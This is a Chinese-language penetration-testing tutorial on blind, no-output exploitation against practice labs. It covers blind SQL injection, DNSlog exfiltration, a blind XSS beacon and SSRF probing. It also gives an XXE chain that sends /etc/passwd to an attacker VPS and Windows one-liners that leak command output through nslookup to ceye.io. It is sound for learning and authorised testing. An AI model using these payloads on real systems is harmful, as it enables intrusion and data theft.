0x01前言
在滲透測試過程中,開發不可能每一次都將結果輸出到頁面上,也就是漏洞無回顯的情況,那么在這種情況下,我們可以通過DNSlog判斷漏洞存在,或者通過起一個Python的http服務來判斷,方法很多,下面主要進行一些情況的分析。
0x02無回顯概念
無回顯,即執行的payload在站點沒有輸出,無法進行進一步操作。在滲透測試過程中,漏洞點不可能總是能夠在返回頁面進行輸出,那么這時候就需要進行一些無回顯利用了。
0x03不同漏洞的無回顯
1、SQL注入無回顯
SQL注入,作為OWASP常年占據榜首位置的漏洞,在無回顯中也是常見的。當然SQL注入在無回顯上已經具有了一定的解決措施。
無回顯我將其定義為頁面沒有輸出我們想要得到的內容,下面以sqli-labs為例進行講解。
1.1 布爾盲注
布爾盲注,盲注的一種,當網站通過查詢語句的布爾值返回真假來輸出頁面信息的時候,查詢語句為真,頁面輸出內容;查詢語句為假,頁面不輸出內容。那么這里就可以通過構造等號判斷,獲取相應的字符的ascii碼,最后還原出數據。具體測試過程如下:
1、id傳參1之后,頁面返回有數據,這里明顯不能進行顯錯注入了。
2、在傳參后面加個單引號,頁面返回空,不顯示錯誤信息,不能使用報錯注入。
3、通過拼接and 1=1和and 1=2,發現頁面對于布爾值的真與假返回的頁面結果也不同。
4、通過length()函數判斷數據庫庫名的長度大于1。
?id=1’ and length(database())>1 %23
5、在大于8的時候頁面返回空,所以數據庫庫名長度等于8。
6、通過ascii()函數和substr ()截取函數獲取數據庫庫名的第一個字符的ascii碼
?id=1’ and ascii(substr((select database()),1,1))>97 %23
?id=1’ and ascii(substr((select database()),1,1))=101 %23
首先用大于號判斷出大概所處的值,最后使用等于號驗證ascii碼的值。此處得出數據庫庫名的第一個字符的ascii碼值為115,對應字符為s。
7、更改截取的位置,判斷后面的字符對應的ascii碼值。
?id=1’ and ascii(substr((select database()),2,1))=101 %23
1.2 延時盲注
延時盲注,一種盲注的手法。在滲透測試過程中當我們不能使用顯錯注入、報錯注入以及布爾盲注無論布爾值為真還是為假,頁面都返回一樣之后,我們可以嘗試使用延時盲注,通過加載頁面的時間長度來判斷數據是否成功。在php中有一個if()函數,語法為if(exp1,exp2,exp3),當exp1返回為真時,執行exp2,返回為假時,執行exp3。配合延時函數sleep()來獲取相應數據的ascii碼,最后還原成數據。下面我將通過實例來介紹如今進行延時盲注。
1、首先獲取的頁面如下,后面不論接上布爾值為真還是為假的,頁面都返回一樣,此時將不能使用布爾盲注。
2、通過and拼接延時函數查看頁面是否有延時回顯。首先記錄沒有使用延時函數的頁面返回時間,為4.*秒;使用sleep(5)延時5秒之后,頁面響應時間為9.*秒,說明對于我們輸入的sleep()函數進行了延時處理,此處存在延時盲注。
3、通過延時注入判斷數據庫庫名的長度。一個個測試發現當長度等于8時頁面延時返回了,說明數據庫庫名長度為8。
?id=2’ and if((length(database())=8),sleep(5),1) %23
4、與布爾盲注一樣,將子查詢的數據截斷之后判斷ascii碼,相等時延時5秒。最后得到第一個字符的ascii碼為115。
?id=2’ and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
5、后面替換截斷的位置,測試后面的字符的ascii碼值。最后得到對應的ascii碼值為115 101 99 117 114 105 116 121。通過ascii解碼工具解得數據庫庫名為security。
巧用dnslog進行SQL注入
前面介紹了SQL注入中的盲注,通過布爾盲注或者延時盲注來獲取數據需要的步驟非常繁瑣,不僅需要一個一個字符的獲取,最后還需要進行ascii解碼,這需要花費大量的時間與精力。為了加快滲透進程,以及降低獲取數據的難度,這里介紹如何通過dnslog進行SQL注入。
Dnslog
dnslog,即dns日志,會解析訪問dns服務的記錄并顯示出來,常被用來測試漏洞是否存在以及無法獲取數據的時候進行外帶數據。簡單來說,dnslog就是一個服務器,會記錄所有訪問它的記錄,包括訪問的域名、訪問的IP以及時間。那么我們就可以通過子查詢,拼接dnslog的域名,最后通過dns日志得到需要的數據。
Load_file()函數
數據庫中的load_file()函數,可以加載服務器中的內容。load_file(‘c:/1.txt’),讀取文件并返回內容為字符串,使用load_file()函數獲取數據需要有以下幾個條件:
1.文件在服務器上
2.指定完整路徑的文件
3.必須有FILE權限
UNC路徑
UNC路徑就是類似softer這樣的形式的網絡路徑。它符合 服務器名服務器資源的格式。在windows系統中常用于共享文件。如192.168.1.1共享文件夾名。
Dnslog注入實例演示
1、打開實例站點,很明顯這里是只能使用盲注的站點。
2、通過order by判斷出字段數為3。
3、在dnslog網站申請一個dnslog域名:pcijrt.dnslog.cn
4、通過load_file函數拼接查詢數據庫庫名的子查詢到dnslog的域名上,后面任意接一個不存在的文件夾名。最后將這個查詢放到聯合查詢中,構造的payload如下:
?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn
/abc')) %23
5、執行語句之后在dnslog日志中獲取到數據庫庫名為security。
6、修改子查詢里的內容,獲取其他數據。
2、XSS無回顯
XSS無回顯比較特殊,一般XSS漏洞的判斷標準為彈框,但是有這樣一種情況,在一個表單提交處,內容提交之后只會在頁面顯示提交成功與否,不會輸出提交的內容,那么我們也就無法通過彈框來判斷XSS漏洞存在與否。這時候就需要通過XSS盲打來進行攻擊。下面通過Pikachu漏洞練習平臺來進行實例講解:
2.1 XSS盲打
1、如圖這里是一個提交看法的功能
2、隨便輸入內容提交,告訴我們提交成功,沒有將我輸入的內容返回到頁面中
3、登錄后臺可以看到確實有數據回顯
4、輸入彈框語句會在后臺成功執行
5、在滲透測試過程中我們無法登錄后臺進行查看,那么就需要盲打XSS,輸入XSS平臺的payload,坐等管理員查看內容后上鉤。
2.2 通過dnslog判斷漏洞存在
payload:
<img src=http://xss.t7y3wc.dnslog.cn>
3、SSRF無回顯
SSRF即服務端請求偽造,一種由攻擊者構造的通過服務器發起請求的攻擊。
測試代碼如下:
<?php
echo file_get_contents($_GET['url']);
?>
首先通過訪問百度可以驗證漏洞存在
無回顯情況即不進行輸出,頁面返回空
這種情況可以通過dnslog或者python搭建http服務驗證
1、DNSLOG
http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn
2、python起的http服務
python3 -m http.server 4545
4、XXE無回顯
因為XML是用來存儲傳輸數據的,除了確實是業務需要,否則開發不可能會輸出內容,也就是說你確實讀取到了文件內容,但是沒辦法看到。XXE無回顯問題當然也是可以通過在域名前面放入查詢出的內容,將數據通過dns日志記錄下來。
XXE雖然不是通過DNSlog,但是也同樣是外帶數據。
流程如下:
在受害者網站中,我們通過請求攻擊者VPS上的1.xml文件,文件內容為將某數據放在GET傳參中去訪問2.php。然后2.php中的內容為保存GET傳參的數據,將數據放入到3.txt中。
具體文件內容放在下面,里面的IP地址應該為攻擊者的IP地址,這3個文件也是放在攻擊者VPS上。
1.xml
<!ENTITY% all "<!ENTITY % send SYSTEM 'http://攻擊者的IP地址/2.php?id=%file;'>">%all;
2.php
<?php file_put_contents("3.txt",$_GET["id"],FILE_AppEND);?>
3.txt
內容空
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM"http://服務器IP地址/xxe/1.xml">
%remote;
%send;
]>
5、命令執行無回顯
簡單的命令執行站點
輸入任何命令都無回顯
5.1 Dnslog判斷漏洞存在
5.2Dnslog外帶數據
5.2.1 獲取windows用戶名
http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn
5.2.2 其他命令執行
cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp
cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp
通過POST傳參測試
傳參的內容需要進行url編碼
Post傳參
Dnslog獲取結果
Base64解碼獲取內容
總結
在滲透測試過程中,無回顯是很常見的,程序不可能將一些操作都回顯到頁面中,那么這種時候我們就需要外帶數據來獲取想要的內容。當然最好就是能夠反彈shell,通過獲取shell來執行命令,這樣會舒服很多。
無回顯的情況還有很多很多,這里簡單介紹了幾種,希望讀者朋友們能夠從中學到對于無回顯的情況下如何進行滲透測試,方法很多,不固定,學習思路即可。